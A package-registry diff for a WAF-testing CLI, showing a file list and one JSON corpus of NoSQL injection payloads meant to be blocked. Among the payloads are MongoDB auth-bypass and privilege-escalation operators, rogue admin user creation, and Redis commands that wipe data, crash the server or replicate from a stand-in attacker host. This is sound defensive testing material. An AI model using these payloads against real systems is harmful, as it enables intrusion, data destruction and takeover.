@waftester/cli 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (141) hide show
  1. package/LICENSE +80 -0
  2. package/LICENSE-COMMUNITY +28 -0
  3. package/README.md +121 -0
  4. package/bin/cli.js +152 -0
  5. package/package.json +52 -0
  6. package/payloads/community/README.md +45 -0
  7. package/payloads/community/ai/ml-poisoning.json +173 -0
  8. package/payloads/community/ai/prompt-injection.json +247 -0
  9. package/payloads/community/ai/workflow-abuse.json +222 -0
  10. package/payloads/community/auth/jwt.json +855 -0
  11. package/payloads/community/auth/login-bypass.json +623 -0
  12. package/payloads/community/auth/mfa.json +402 -0
  13. package/payloads/community/auth/oauth.json +421 -0
  14. package/payloads/community/auth/open-redirect.json +1028 -0
  15. package/payloads/community/auth/session.json +404 -0
  16. package/payloads/community/cache/deception.json +402 -0
  17. package/payloads/community/cache/poisoning.json +403 -0
  18. package/payloads/community/deserialization/gadget.json +375 -0
  19. package/payloads/community/deserialization/prototype.json +370 -0
  20. package/payloads/community/fuzz/content-type.json +397 -0
  21. package/payloads/community/fuzz/headers.json +401 -0
  22. package/payloads/community/fuzz/methods.json +397 -0
  23. package/payloads/community/fuzz/obfuscation.json +362 -0
  24. package/payloads/community/fuzz/special-chars.json +740 -0
  25. package/payloads/community/fuzz/waf-bypass.json +452 -0
  26. package/payloads/community/graphql/batching-abuse.json +271 -0
  27. package/payloads/community/graphql/depth-limit.json +271 -0
  28. package/payloads/community/graphql/introspection.json +267 -0
  29. package/payloads/community/injection/crlf.json +569 -0
  30. package/payloads/community/injection/ldap.json +357 -0
  31. package/payloads/community/injection/nosqli.json +529 -0
  32. package/payloads/community/injection/oscmd.json +662 -0
  33. package/payloads/community/injection/rce-polyglots.json +452 -0
  34. package/payloads/community/injection/sqli.json +681 -0
  35. package/payloads/community/injection/ssti.json +584 -0
  36. package/payloads/community/injection/upload-attacks.json +632 -0
  37. package/payloads/community/injection/xpath.json +357 -0
  38. package/payloads/community/injection/xxe.json +716 -0
  39. package/payloads/community/logic/forced-browsing.json +405 -0
  40. package/payloads/community/logic/idor.json +1026 -0
  41. package/payloads/community/logic/privilege.json +337 -0
  42. package/payloads/community/media/exif-injection.json +225 -0
  43. package/payloads/community/media/metadata-poison.json +239 -0
  44. package/payloads/community/protocol/http-smuggling.json +798 -0
  45. package/payloads/community/protocol/http2-attacks.json +382 -0
  46. package/payloads/community/protocol/websocket-abuse.json +375 -0
  47. package/payloads/community/rate-limit/burst-simulation.json +286 -0
  48. package/payloads/community/rate-limit/bypass-attempts.json +326 -0
  49. package/payloads/community/rate-limit/zone-tests.json +332 -0
  50. package/payloads/community/services/authentik.json +415 -0
  51. package/payloads/community/services/immich.json +423 -0
  52. package/payloads/community/services/n8n.json +366 -0
  53. package/payloads/community/sqli-basic.json +182 -0
  54. package/payloads/community/ssrf/cloud-metadata.json +999 -0
  55. package/payloads/community/ssrf/dns-rebinding.json +503 -0
  56. package/payloads/community/ssrf/internal-networks.json +627 -0
  57. package/payloads/community/ssrf/protocol-smuggling.json +350 -0
  58. package/payloads/community/ssti/multi-language-templates.json +191 -0
  59. package/payloads/community/ssti/python-templates.json +200 -0
  60. package/payloads/community/traversal/basic.json +675 -0
  61. package/payloads/community/traversal/cloud-credentials.json +107 -0
  62. package/payloads/community/traversal/config-files.json +193 -0
  63. package/payloads/community/traversal/encoding.json +558 -0
  64. package/payloads/community/traversal/null-byte.json +105 -0
  65. package/payloads/community/traversal/symlink.json +93 -0
  66. package/payloads/community/traversal/unicode.json +134 -0
  67. package/payloads/community/traversal/unix-advanced.json +195 -0
  68. package/payloads/community/traversal/windows-advanced.json +195 -0
  69. package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
  70. package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
  71. package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
  72. package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
  73. package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
  74. package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
  75. package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
  76. package/payloads/community/waf-bypass/unicode-charset.json +152 -0
  77. package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
  78. package/payloads/community/waf-validation/README.md +172 -0
  79. package/payloads/community/waf-validation/bypass-techniques.json +272 -0
  80. package/payloads/community/waf-validation/custom-rules.json +952 -0
  81. package/payloads/community/waf-validation/evasion-techniques.json +272 -0
  82. package/payloads/community/waf-validation/modsecurity-core.json +151 -0
  83. package/payloads/community/waf-validation/owasp-top10.json +236 -0
  84. package/payloads/community/waf-validation/regression-tests.json +227 -0
  85. package/payloads/community/xss/csp-bypass.json +431 -0
  86. package/payloads/community/xss/dom.json +389 -0
  87. package/payloads/community/xss/filter-bypass.json +1242 -0
  88. package/payloads/community/xss/mutation.json +263 -0
  89. package/payloads/community/xss/polyglots.json +371 -0
  90. package/payloads/community/xss/reflected.json +187 -0
  91. package/payloads/community/xss/stored.json +330 -0
  92. package/payloads/crlf-injection.json +182 -0
  93. package/payloads/ids-map.json +155 -0
  94. package/payloads/ldap-injection.json +182 -0
  95. package/payloads/nosql-injection.json +227 -0
  96. package/payloads/prototype-pollution.json +182 -0
  97. package/payloads/request-smuggling.json +182 -0
  98. package/payloads/version.json +28 -0
  99. package/payloads/xss-advanced.json +227 -0
  100. package/templates/README.md +221 -0
  101. package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
  102. package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
  103. package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
  104. package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
  105. package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
  106. package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
  107. package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
  108. package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
  109. package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
  110. package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
  111. package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
  112. package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
  113. package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
  114. package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
  115. package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
  116. package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
  117. package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
  118. package/templates/output/asff.tmpl +61 -0
  119. package/templates/output/csv.tmpl +4 -0
  120. package/templates/output/junit.tmpl +34 -0
  121. package/templates/output/markdown-report.tmpl +92 -0
  122. package/templates/output/slack-notification.tmpl +95 -0
  123. package/templates/output/text-summary.tmpl +56 -0
  124. package/templates/overrides/api-only.yaml +130 -0
  125. package/templates/overrides/crs-tuning.yaml +204 -0
  126. package/templates/overrides/false-positive-suppression.yaml +159 -0
  127. package/templates/policies/owasp-top10.yaml +152 -0
  128. package/templates/policies/pci-dss.yaml +124 -0
  129. package/templates/policies/permissive.yaml +40 -0
  130. package/templates/policies/standard.yaml +57 -0
  131. package/templates/policies/strict.yaml +72 -0
  132. package/templates/report-configs/compliance.yaml +173 -0
  133. package/templates/report-configs/dark.yaml +136 -0
  134. package/templates/report-configs/enterprise.yaml +175 -0
  135. package/templates/report-configs/minimal.yaml +84 -0
  136. package/templates/report-configs/print.yaml +139 -0
  137. package/templates/workflows/api-scan.yaml +132 -0
  138. package/templates/workflows/ci-gate.yaml +129 -0
  139. package/templates/workflows/full-scan.yaml +133 -0
  140. package/templates/workflows/quick-probe.yaml +80 -0
  141. package/templates/workflows/waf-detection.yaml +89 -0
@@ -0,0 +1,529 @@
1
+ [
2
+ {
3
+ "id": "INJ-NOSQLI-200",
4
+ "payload": "admin' || '1'=='1",
5
+ "tags": [
6
+ "mongodb",
7
+ "basic",
8
+ "quick"
9
+ ],
10
+ "expected_block": true,
11
+ "severity_hint": "Critical",
12
+ "notes": "MongoDB authentication bypass - always true condition",
13
+ "category": "Injection"
14
+ },
15
+ {
16
+ "id": "INJ-NOSQLI-201",
17
+ "payload": "{\"$gt\": \"\"}",
18
+ "tags": [
19
+ "mongodb",
20
+ "operator",
21
+ "quick"
22
+ ],
23
+ "expected_block": true,
24
+ "severity_hint": "Critical",
25
+ "notes": "MongoDB $gt operator injection - matches all documents",
26
+ "category": "Injection"
27
+ },
28
+ {
29
+ "id": "INJ-NOSQLI-202",
30
+ "payload": "{\"$ne\": null}",
31
+ "tags": [
32
+ "mongodb",
33
+ "operator",
34
+ "quick"
35
+ ],
36
+ "expected_block": true,
37
+ "severity_hint": "Critical",
38
+ "notes": "MongoDB $ne operator - not equal null (auth bypass)",
39
+ "category": "Injection"
40
+ },
41
+ {
42
+ "id": "INJ-NOSQLI-203",
43
+ "payload": "{\"$or\": [{}, {\"a\":\"a\"}]}",
44
+ "tags": [
45
+ "mongodb",
46
+ "operator"
47
+ ],
48
+ "expected_block": true,
49
+ "severity_hint": "Critical",
50
+ "notes": "MongoDB $or operator with empty object (always true)",
51
+ "category": "Injection"
52
+ },
53
+ {
54
+ "id": "INJ-NOSQLI-204",
55
+ "payload": "{\"username\": {\"$regex\": \".*\"}}",
56
+ "tags": [
57
+ "mongodb",
58
+ "regex"
59
+ ],
60
+ "expected_block": true,
61
+ "severity_hint": "High",
62
+ "notes": "MongoDB regex injection - matches all usernames",
63
+ "category": "Injection"
64
+ },
65
+ {
66
+ "id": "INJ-NOSQLI-205",
67
+ "payload": "{\"$where\": \"this.password.length > 0\"}",
68
+ "tags": [
69
+ "mongodb",
70
+ "where",
71
+ "code-injection"
72
+ ],
73
+ "expected_block": true,
74
+ "severity_hint": "Critical",
75
+ "notes": "MongoDB $where clause - JavaScript code execution",
76
+ "category": "Injection"
77
+ },
78
+ {
79
+ "id": "INJ-NOSQLI-206",
80
+ "payload": "'; return true; var dummy='",
81
+ "tags": [
82
+ "mongodb",
83
+ "where",
84
+ "javascript"
85
+ ],
86
+ "expected_block": true,
87
+ "severity_hint": "Critical",
88
+ "notes": "MongoDB $where JavaScript injection - breaks out of string",
89
+ "category": "Injection"
90
+ },
91
+ {
92
+ "id": "INJ-NOSQLI-207",
93
+ "payload": "{\"$gt\": 0}",
94
+ "tags": [
95
+ "mongodb",
96
+ "operator"
97
+ ],
98
+ "expected_block": true,
99
+ "severity_hint": "Critical",
100
+ "notes": "MongoDB numeric operator injection",
101
+ "category": "Injection"
102
+ },
103
+ {
104
+ "id": "INJ-NOSQLI-208",
105
+ "payload": "{\"username\": {\"$in\": [\"admin\", \"root\", \"administrator\"]}}",
106
+ "tags": [
107
+ "mongodb",
108
+ "enumeration"
109
+ ],
110
+ "expected_block": true,
111
+ "severity_hint": "High",
112
+ "notes": "MongoDB $in operator - username enumeration",
113
+ "category": "Injection"
114
+ },
115
+ {
116
+ "id": "INJ-NOSQLI-209",
117
+ "payload": "{\"$expr\": {\"$gt\": [\"$balance\", 0]}}",
118
+ "tags": [
119
+ "mongodb",
120
+ "aggregation"
121
+ ],
122
+ "expected_block": true,
123
+ "severity_hint": "High",
124
+ "notes": "MongoDB aggregation expression injection",
125
+ "category": "Injection"
126
+ },
127
+ {
128
+ "id": "INJ-NOSQLI-210",
129
+ "payload": "admin' && this.password.match(/.*/)//",
130
+ "tags": [
131
+ "mongodb",
132
+ "regex",
133
+ "bypass"
134
+ ],
135
+ "expected_block": true,
136
+ "severity_hint": "Critical",
137
+ "notes": "MongoDB regex bypass with JavaScript comment",
138
+ "category": "Injection"
139
+ },
140
+ {
141
+ "id": "INJ-NOSQLI-211",
142
+ "payload": "{\"_id\": {\"$nin\": []}}",
143
+ "tags": [
144
+ "couchdb",
145
+ "operator"
146
+ ],
147
+ "expected_block": true,
148
+ "severity_hint": "Critical",
149
+ "notes": "CouchDB $nin (not in) empty array - matches all documents",
150
+ "category": "Injection"
151
+ },
152
+ {
153
+ "id": "INJ-NOSQLI-212",
154
+ "payload": "{\"selector\": {\"_id\": {\"$gt\": null}}}",
155
+ "tags": [
156
+ "couchdb",
157
+ "mango"
158
+ ],
159
+ "expected_block": true,
160
+ "severity_hint": "High",
161
+ "notes": "CouchDB Mango query injection",
162
+ "category": "Injection"
163
+ },
164
+ {
165
+ "id": "INJ-NOSQLI-213",
166
+ "payload": "'; return true; //",
167
+ "tags": [
168
+ "couchdb",
169
+ "javascript"
170
+ ],
171
+ "expected_block": true,
172
+ "severity_hint": "Critical",
173
+ "notes": "CouchDB view function JavaScript injection",
174
+ "category": "Injection"
175
+ },
176
+ {
177
+ "id": "INJ-NOSQLI-214",
178
+ "payload": "username' OR '1'='1' /*",
179
+ "tags": [
180
+ "cassandra",
181
+ "cql"
182
+ ],
183
+ "expected_block": true,
184
+ "severity_hint": "Critical",
185
+ "notes": "Cassandra CQL injection with comment",
186
+ "category": "Injection"
187
+ },
188
+ {
189
+ "id": "INJ-NOSQLI-215",
190
+ "payload": "admin' ALLOW FILTERING",
191
+ "tags": [
192
+ "cassandra",
193
+ "cql"
194
+ ],
195
+ "expected_block": true,
196
+ "severity_hint": "High",
197
+ "notes": "Cassandra CQL ALLOW FILTERING bypass",
198
+ "category": "Injection"
199
+ },
200
+ {
201
+ "id": "INJ-NOSQLI-216",
202
+ "payload": "KEYS *",
203
+ "tags": [
204
+ "redis",
205
+ "enumeration",
206
+ "quick"
207
+ ],
208
+ "expected_block": true,
209
+ "severity_hint": "High",
210
+ "notes": "Redis KEYS command - enumerate all keys",
211
+ "category": "Injection"
212
+ },
213
+ {
214
+ "id": "INJ-NOSQLI-217",
215
+ "payload": "CONFIG GET *",
216
+ "tags": [
217
+ "redis",
218
+ "config"
219
+ ],
220
+ "expected_block": true,
221
+ "severity_hint": "Critical",
222
+ "notes": "Redis CONFIG GET - retrieve all configuration",
223
+ "category": "Injection"
224
+ },
225
+ {
226
+ "id": "INJ-NOSQLI-218",
227
+ "payload": "EVAL \"return redis.call('GET','secret_key')\" 0",
228
+ "tags": [
229
+ "redis",
230
+ "lua",
231
+ "code-injection"
232
+ ],
233
+ "expected_block": true,
234
+ "severity_hint": "Critical",
235
+ "notes": "Redis Lua script injection - arbitrary command execution",
236
+ "category": "Injection"
237
+ },
238
+ {
239
+ "id": "INJ-NOSQLI-219",
240
+ "payload": "FLUSHALL",
241
+ "tags": [
242
+ "redis",
243
+ "destructive"
244
+ ],
245
+ "expected_block": true,
246
+ "severity_hint": "Critical",
247
+ "notes": "Redis FLUSHALL - wipe entire database (DESTRUCTIVE)",
248
+ "category": "Injection"
249
+ },
250
+ {
251
+ "id": "INJ-NOSQLI-220",
252
+ "payload": "{\"$and\": [{\"$or\": [{\"a\": 1}]}]}",
253
+ "tags": ["mongodb", "nested-operators"],
254
+ "expected_block": true,
255
+ "severity_hint": "High",
256
+ "notes": "MongoDB nested logical operators",
257
+ "category": "Injection"
258
+ },
259
+ {
260
+ "id": "INJ-NOSQLI-221",
261
+ "payload": "{\"$where\": \"function(){return true}\"}",
262
+ "tags": ["mongodb", "where", "javascript"],
263
+ "expected_block": true,
264
+ "severity_hint": "Critical",
265
+ "notes": "MongoDB $where function syntax",
266
+ "category": "Injection"
267
+ },
268
+ {
269
+ "id": "INJ-NOSQLI-222",
270
+ "payload": "{\"password[$regex]\": \"^a\"}",
271
+ "tags": ["mongodb", "regex", "extraction"],
272
+ "expected_block": true,
273
+ "severity_hint": "Critical",
274
+ "notes": "MongoDB regex password extraction",
275
+ "category": "Injection"
276
+ },
277
+ {
278
+ "id": "INJ-NOSQLI-223",
279
+ "payload": "username=admin&password[$ne]=x",
280
+ "tags": ["mongodb", "http-param-pollution"],
281
+ "expected_block": true,
282
+ "severity_hint": "Critical",
283
+ "notes": "MongoDB injection via HTTP params",
284
+ "category": "Injection"
285
+ },
286
+ {
287
+ "id": "INJ-NOSQLI-224",
288
+ "payload": "{\"$type\": 2}",
289
+ "tags": ["mongodb", "type-confusion"],
290
+ "expected_block": true,
291
+ "severity_hint": "High",
292
+ "notes": "MongoDB $type operator abuse",
293
+ "category": "Injection"
294
+ },
295
+ {
296
+ "id": "INJ-NOSQLI-225",
297
+ "payload": "{\"$mod\": [1, 0]}",
298
+ "tags": ["mongodb", "modulo"],
299
+ "expected_block": true,
300
+ "severity_hint": "High",
301
+ "notes": "MongoDB $mod operator",
302
+ "category": "Injection"
303
+ },
304
+ {
305
+ "id": "INJ-NOSQLI-226",
306
+ "payload": "{\"$exists\": true, \"$nin\": []}",
307
+ "tags": ["mongodb", "exists"],
308
+ "expected_block": true,
309
+ "severity_hint": "Critical",
310
+ "notes": "MongoDB $exists with empty $nin",
311
+ "category": "Injection"
312
+ },
313
+ {
314
+ "id": "INJ-NOSQLI-227",
315
+ "payload": "{\"$all\": [[]]}",
316
+ "tags": ["mongodb", "all"],
317
+ "expected_block": true,
318
+ "severity_hint": "High",
319
+ "notes": "MongoDB $all with empty array",
320
+ "category": "Injection"
321
+ },
322
+ {
323
+ "id": "INJ-NOSQLI-228",
324
+ "payload": "{\"$elemMatch\": {\"$gt\": 0}}",
325
+ "tags": ["mongodb", "elemmatch"],
326
+ "expected_block": true,
327
+ "severity_hint": "High",
328
+ "notes": "MongoDB $elemMatch injection",
329
+ "category": "Injection"
330
+ },
331
+ {
332
+ "id": "INJ-NOSQLI-229",
333
+ "payload": "{\"password\": {\"$size\": 0}}",
334
+ "tags": ["mongodb", "size"],
335
+ "expected_block": true,
336
+ "severity_hint": "High",
337
+ "notes": "MongoDB $size operator",
338
+ "category": "Injection"
339
+ },
340
+ {
341
+ "id": "INJ-NOSQLI-230",
342
+ "payload": "db.users.find({$where: 'sleep(5000)'})",
343
+ "tags": ["mongodb", "shell", "dos"],
344
+ "expected_block": true,
345
+ "severity_hint": "Critical",
346
+ "notes": "MongoDB shell DoS via sleep",
347
+ "category": "Injection"
348
+ },
349
+ {
350
+ "id": "INJ-NOSQLI-231",
351
+ "payload": "db.runCommand({\"$eval\": \"db.users.find()\"})",
352
+ "tags": ["mongodb", "eval", "deprecated"],
353
+ "expected_block": true,
354
+ "severity_hint": "Critical",
355
+ "notes": "MongoDB deprecated $eval",
356
+ "category": "Injection"
357
+ },
358
+ {
359
+ "id": "INJ-NOSQLI-232",
360
+ "payload": "'); return db.getCollectionNames(); var x=('",
361
+ "tags": ["mongodb", "js-injection"],
362
+ "expected_block": true,
363
+ "severity_hint": "Critical",
364
+ "notes": "MongoDB collection enumeration via JS",
365
+ "category": "Injection"
366
+ },
367
+ {
368
+ "id": "INJ-NOSQLI-233",
369
+ "payload": "LPUSH queue malicious_data",
370
+ "tags": ["redis", "list-injection"],
371
+ "expected_block": true,
372
+ "severity_hint": "High",
373
+ "notes": "Redis list injection",
374
+ "category": "Injection"
375
+ },
376
+ {
377
+ "id": "INJ-NOSQLI-234",
378
+ "payload": "SET __session:admin '{\"admin\":true}'",
379
+ "tags": ["redis", "session-hijack"],
380
+ "expected_block": true,
381
+ "severity_hint": "Critical",
382
+ "notes": "Redis session manipulation",
383
+ "category": "Injection"
384
+ },
385
+ {
386
+ "id": "INJ-NOSQLI-235",
387
+ "payload": "ZADD scores 999999 hacker",
388
+ "tags": ["redis", "sorted-set"],
389
+ "expected_block": true,
390
+ "severity_hint": "High",
391
+ "notes": "Redis sorted set manipulation",
392
+ "category": "Injection"
393
+ },
394
+ {
395
+ "id": "INJ-NOSQLI-236",
396
+ "payload": "SCRIPT LOAD \"redis.call('SET','pwned','true')\"",
397
+ "tags": ["redis", "script", "lua"],
398
+ "expected_block": true,
399
+ "severity_hint": "Critical",
400
+ "notes": "Redis Lua script loading",
401
+ "category": "Injection"
402
+ },
403
+ {
404
+ "id": "INJ-NOSQLI-237",
405
+ "payload": "SLAVEOF attacker.com 6379",
406
+ "tags": ["redis", "replication", "rce"],
407
+ "expected_block": true,
408
+ "severity_hint": "Critical",
409
+ "notes": "Redis SLAVEOF RCE attack",
410
+ "category": "Injection"
411
+ },
412
+ {
413
+ "id": "INJ-NOSQLI-238",
414
+ "payload": "DEBUG SEGFAULT",
415
+ "tags": ["redis", "dos", "crash"],
416
+ "expected_block": true,
417
+ "severity_hint": "Critical",
418
+ "notes": "Redis DEBUG crash command",
419
+ "category": "Injection"
420
+ },
421
+ {
422
+ "id": "INJ-NOSQLI-239",
423
+ "payload": "{\"query\": {\"$currentDate\": {\"lastModified\": true}}}",
424
+ "tags": ["mongodb", "currentdate"],
425
+ "expected_block": true,
426
+ "severity_hint": "High",
427
+ "notes": "MongoDB $currentDate manipulation",
428
+ "category": "Injection"
429
+ },
430
+ {
431
+ "id": "INJ-NOSQLI-240",
432
+ "payload": "{\"$set\": {\"isAdmin\": true}}",
433
+ "tags": ["mongodb", "update-injection"],
434
+ "expected_block": true,
435
+ "severity_hint": "Critical",
436
+ "notes": "MongoDB $set privilege escalation",
437
+ "category": "Injection"
438
+ },
439
+ {
440
+ "id": "INJ-NOSQLI-241",
441
+ "payload": "{\"$unset\": {\"password\": \"\"}}",
442
+ "tags": ["mongodb", "unset", "bypass"],
443
+ "expected_block": true,
444
+ "severity_hint": "Critical",
445
+ "notes": "MongoDB $unset password removal",
446
+ "category": "Injection"
447
+ },
448
+ {
449
+ "id": "INJ-NOSQLI-242",
450
+ "payload": "{\"$push\": {\"roles\": \"admin\"}}",
451
+ "tags": ["mongodb", "push", "privilege-escalation"],
452
+ "expected_block": true,
453
+ "severity_hint": "Critical",
454
+ "notes": "MongoDB $push role injection",
455
+ "category": "Injection"
456
+ },
457
+ {
458
+ "id": "INJ-NOSQLI-243",
459
+ "payload": "{\"$pull\": {\"restrictions\": {\"$exists\": true}}}",
460
+ "tags": ["mongodb", "pull", "bypass"],
461
+ "expected_block": true,
462
+ "severity_hint": "Critical",
463
+ "notes": "MongoDB $pull restriction removal",
464
+ "category": "Injection"
465
+ },
466
+ {
467
+ "id": "INJ-NOSQLI-244",
468
+ "payload": "db.adminCommand({listDatabases: 1})",
469
+ "tags": ["mongodb", "admin", "enumeration"],
470
+ "expected_block": true,
471
+ "severity_hint": "Critical",
472
+ "notes": "MongoDB admin database listing",
473
+ "category": "Injection"
474
+ },
475
+ {
476
+ "id": "INJ-NOSQLI-245",
477
+ "payload": "db.createUser({user:'attacker',pwd:'pwned',roles:['root']})",
478
+ "tags": ["mongodb", "user-creation", "persistence"],
479
+ "expected_block": true,
480
+ "severity_hint": "Critical",
481
+ "notes": "MongoDB rogue user creation",
482
+ "category": "Injection"
483
+ },
484
+ {
485
+ "id": "INJ-NOSQLI-246",
486
+ "payload": "set key \"\\r\\nSLAVEOF attacker 6379\\r\\n\"",
487
+ "tags": ["redis", "crlf", "ssrf"],
488
+ "expected_block": true,
489
+ "severity_hint": "Critical",
490
+ "notes": "Redis CRLF injection to SLAVEOF",
491
+ "category": "Injection"
492
+ },
493
+ {
494
+ "id": "INJ-NOSQLI-247",
495
+ "payload": "SCAN 0 COUNT 10000",
496
+ "tags": ["redis", "enumeration"],
497
+ "expected_block": true,
498
+ "severity_hint": "High",
499
+ "notes": "Redis key enumeration",
500
+ "category": "Injection"
501
+ },
502
+ {
503
+ "id": "INJ-NOSQLI-248",
504
+ "payload": "DUMP sensitive_key",
505
+ "tags": ["redis", "exfiltration"],
506
+ "expected_block": true,
507
+ "severity_hint": "Critical",
508
+ "notes": "Redis key dump for exfiltration",
509
+ "category": "Injection"
510
+ },
511
+ {
512
+ "id": "INJ-NOSQLI-249",
513
+ "payload": "RESTORE pwned_key 0 \"\\x00...\"",
514
+ "tags": ["redis", "restore", "injection"],
515
+ "expected_block": true,
516
+ "severity_hint": "Critical",
517
+ "notes": "Redis RESTORE arbitrary data",
518
+ "category": "Injection"
519
+ },
520
+ {
521
+ "id": "INJ-NOSQLI-250",
522
+ "payload": "CLIENT SETNAME attacker",
523
+ "tags": ["redis", "client"],
524
+ "expected_block": true,
525
+ "severity_hint": "Medium",
526
+ "notes": "Redis client identification",
527
+ "category": "Injection"
528
+ }
529
+ ]